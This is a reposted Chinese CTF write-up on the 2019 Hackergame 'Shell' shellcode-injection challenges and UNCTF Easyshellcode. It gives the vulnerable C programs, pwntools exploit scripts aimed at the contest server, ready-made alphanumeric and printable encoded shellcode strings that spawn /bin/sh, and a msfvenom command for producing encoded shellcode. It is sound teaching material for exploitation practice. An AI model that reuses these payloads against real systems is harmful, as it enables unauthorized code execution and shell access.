ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

2019Hackergame-Shell骇客

2020-01-24 17:55:32  阅读:428  来源: 互联网

标签:Shell 14 int shellcode sendline 骇客 64 buf 2019Hackergame


1

64位的程序,打开源代码:

// gcc -z execstack -fPIE -pie -z now chall1.c -o chall1
​
int main() {
    char buf[0x200];
    read(0, buf, 0x200);
    ((void(*)(void))buf)();
}

读入字符串至buf,通过强制buf成函数指针进行执行,所以我们只需要写入shellcode即可,exp如下:

from pwn import *
context(arch='amd64',os='linux')
#生成64位系统下的shellcode,否则默认为32位
p=remote('202.38.93.241',10000)
p.recvuntil('token:')
p.sendline('168:MEYCIQCwrRJjnNT/I2zhVbGngNT2ZhvU/09952ZwcXrklfFCPAIhAP6Oc4m6ueLEITa606LqcQTn9Uh0HDXyMXsR3gk7lwpW')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
2

32位的程序,在上一道直接注入shellcode执行的基础上,要求shellcode由A-Z,0-9组成。

// gcc -m32 -z execstack -fPIE -pie -z now chall2.c -o chall2
int main() {
    char buf[0x200];
    int n, i;
    n = read(0, buf, 0x200);
    if (n <= 0) return 0;
    for (i = 0; i < n; i++) {
        if(!((buf[i] >= 65 && buf[i] <= 90) || (buf[i] >= 48 && buf[i] <= 57))) return 0;
    }
    ((void(*)(void))buf)();
}

可以google一下,直接找个符合要求的shellcode拿来用,exp如下:

from pwn import *
p=remote('202.38.93.241',10002)
p.recvuntil('token:')
p.sendline('168:MEYCIQCwrRJjnNT/I2zhVbGngNT2ZhvU/09952ZwcXrklfFCPAIhAP6Oc4m6ueLEITa606LqcQTn9Uh0HDXyMXsR3gk7lwpW')
p.send('PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA')
p.interactive()

 

注:

1.向buf缓冲区写入可执行代码时,不能p.sendline( ),必须用send发送,否则,会引入'\n'字符导致shellcode无效。

2.wp中建议使用msf编码器,在kali下执行:

msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax

说明:

3

64位的程序,在注入shellcode的基础上,要求shellcode为可打印字符:

// gcc -m64 -z execstack -fPIE -pie -z now chall3.c -o chall3
int main() {
    char buf[0x400];
    int n, i;
    n = read(0, buf, 0x400);
    if (n <= 0) return 0;
    for (i = 0; i < n; i++) {
        if(buf[i] < 32 || buf[i] > 126) return 0;
    }
    ((void(*)(void))buf)();
}

按照wp使用工具(实用工具阶段也好艰难啊...):

exp:

from pwn import *
context(arch='amd64',os='linux')
p=remote('202.38.93.241',10004)
p.recvuntil("token:")
p.sendline("168:MEYCIQCwrRJjnNT/I2zhVbGngNT2ZhvU/09952ZwcXrklfFCPAIhAP6Oc4m6ueLEITa606LqcQTn9Uh0HDXyMXsR3gk7lwpW")
#shellcode=asm(shellcraft.sh())
#file= open("1.txt", "w")
#file.write(shellcode)
#file.close()
#print shellcode
payload='''PPTAYAXVI31VXXXf-c?f-@`f-@`PZTAYAXVI31VXPP[_Hc4:14:SX-b+e2-( _`5>??_P^14:WX-????-}`aC-@`_}P_Hc4:14:SX-IOF`-A`! 5>_7;P^14:WX-????-}`aC-@`_}P_Hc4:14:SX-<hh)-h`  5n???P^14:WX-????-}`aC-@`_}P_Hc4:14:SX-@{#'-ux @5O6?_P^14:WX-????-}`aC-@`_}P_Hc4:14:SX-@#6p-B 0`5v?_?P^14:WX-????-}`aC-@`_}P_Hc4:14:SX-2 u@-&@@ 5-_?wP^14:WX-????-}`aC-@`_}P_SX- ut*- ,Lv5X_?_P_Hc4:14:SX-Q !0-#@  5s}.?P^14:WX-????-}`aC-@`_}P_SX-8 `$-%`"|5?~}_P^SX-Ma`R-~c`p5-;?=P_AAAA!bt#MvAr*o$$>I`_UXyyi;||s}_r=60d|jcEH(u'&w6~7AM;wy4II+f'Gw+X#e0T|t30Q.$A>6p?' B[A<zDBH)6f0Rj#XO$'''
p.send(payload)
p.interactive()

说明:先用shellcraft.sh( )得到shellcode写入工具shell_encoder的路径下shellcode,使用工具进行编码得到可打印字符的shellcode

UNCTF-Easyshellcode

某T周末开心的看大佬们穿题...果然真正的比赛是不会出现上面这些对shellocde的限制的,反汇编:

shellcode的限制变成了:64位下shellcode只能由A-Z\a-z\0-9组成,利用V爷爷的AE64工具生成即可,同样用AE64解决shell_骇客3就很舒服...

注:之前的脚本找不到了,重点就是使用AE64可以得到更大限制条件下的适用于64位的shellcode,附链接:https://github.com/veritas501/ae64

标签:Shell,14,int,shellcode,sendline,骇客,64,buf,2019Hackergame
来源: https://www.cnblogs.com/Theffth-blog/p/12232414.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有